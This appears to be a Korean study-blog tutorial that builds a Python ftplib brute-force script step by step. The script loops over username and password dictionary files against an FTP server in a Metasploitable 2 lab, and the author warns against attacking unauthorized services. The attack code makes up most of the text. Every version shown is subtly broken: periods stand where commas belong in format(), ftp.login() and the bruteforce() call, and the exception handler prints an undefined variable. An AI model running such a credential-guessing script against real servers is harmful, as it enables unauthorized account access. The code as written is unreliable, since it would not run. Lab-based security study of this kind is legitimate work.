Metasploitable Ver.2 가상환경에서 실행
우리가 무작위로 대입해볼 ID와 PW는 사전 파일로 만들어서 불러올거다.
->메모장에 대입할 값들을 적고 각각의 파일로 만들어준다.
스레드를 배우면 더 많은 딕셔너리 파일들을 넣을 수 있음
허가되지 않은 FTP 서비스에는 시도하면 절대 안됨.
-> 가상환경 Metasploitable ver.2 사용
ip할당되어 있음. 그 ip를 대상으로 ftp 공격
import ftplib
def bruteforce():
print('')
def main():
ip = input("IP 정보를 입력하세요.") #IP 정보 받기
with open('users.txt','r') as users: #with 키워드값을 이용하여 오픈, users라고 정의
users = users.readlines() #readlines로 하나씩 읽어줌
with open('passwords.txt','r') as passwords:#마찬가지로 with 키워드값 이용하여 pw파일 오픈
passwords = passwords.readlines() #하나씩 읽어줌
print(users)
print(passwords)
if __name__=='__main__':
main()
이 정보들을 하나씩 ftp쪽에다가 접속하면서 시도해야함.
아이디,패스워드를 받아서 bruteforce():함수에서 ftp가 처리되도록 넘길거임.
rstrip함수를 사용하면 특수문자를 지울 수 있음.
import ftplib
def bruteforce(ip, user, password):
ftp = ftplib.FTP(ip) #ftplib ip정보 받기
try:
print("사용자 아이디{}, 패스워드{}" . format(user.password)) #try문을 사용, format 이용하여 사용자의 아이디와 패스워드 받기
res = ftp.login(user.password) #로그인 결과값을 res로 받음
print(res)
except Exception as exception:
print("연결 오류", ex) #예외(=연결 실패)
def main():
ip = input("IP 정보를 입력하세요.") #IP 정보 받기
with open('users.txt','r') as users: #with 키워드값을 이용하여 오픈, users라고 정의
users = users.readlines() #readlines로 하나씩 읽어줌
with open('passwords.txt','r') as passwords:#마찬가지로 with 키워드값 이용하여 pw파일 오픈
passwords = passwords.readlines() #하나씩 읽어줌
for user in users: # 10번줄에서 받은 정보를 users에 넣어주고 for문으로 반복
for password in passwords: #password도 마찬가지
bruteforce(ip. users.rstrip, password.rstrip())
if __name__=='__main__':
main()
연결 성공했지만 눈에 잘 안보임. (230 Login successful)
조금만 더 발전시켜서 까끔해 보이게 만들어보자.
import ftplib
def bruteforce(ip, user, password):
ftp = ftplib.FTP(ip) #ftplib ip정보 받기
try:
print("사용자 아이디{}, 패스워드{}" . format(user.password)) #try문을 사용, format 이용하여 사용자의 아이디와 패스워드 받기
res = ftp.login(user.password) #로그인 결과값을 res로 받음
if"230" in res and "successful" in res:
print("[+] 공격에 성공!!!")
print("사용자"+user+"패스워드:"+password) #res값 안에 230,successful 있으면 공격 성공 출력
else:
pass
except Exception as exception:
print("연결 오류", ex) #예외(=연결 실패)
def main():
ip = input("IP 정보를 입력하세요.") #IP 정보 받기
with open('users.txt','r') as users: #with 키워드값을 이용하여 오픈, users라고 정의
users = users.readlines() #readlines로 하나씩 읽어줌
with open('passwords.txt','r') as passwords:#마찬가지로 with 키워드값 이용하여 pw파일 오픈
passwords = passwords.readlines() #하나씩 읽어줌
for user in users: # 10번줄에서 받은 정보를 users에 넣어주고 for문으로 반복
for password in passwords: #password도 마찬가지
bruteforce(ip. users.rstrip, password.rstrip())
if __name__=='__main__':
main()